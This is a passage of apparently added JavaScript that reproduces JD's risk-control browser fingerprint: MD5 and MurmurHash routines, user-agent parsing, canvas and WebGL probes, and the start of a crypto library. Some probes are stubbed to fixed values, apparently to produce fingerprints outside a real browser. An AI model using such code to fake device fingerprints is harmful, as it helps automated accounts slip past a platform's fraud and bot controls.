h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + 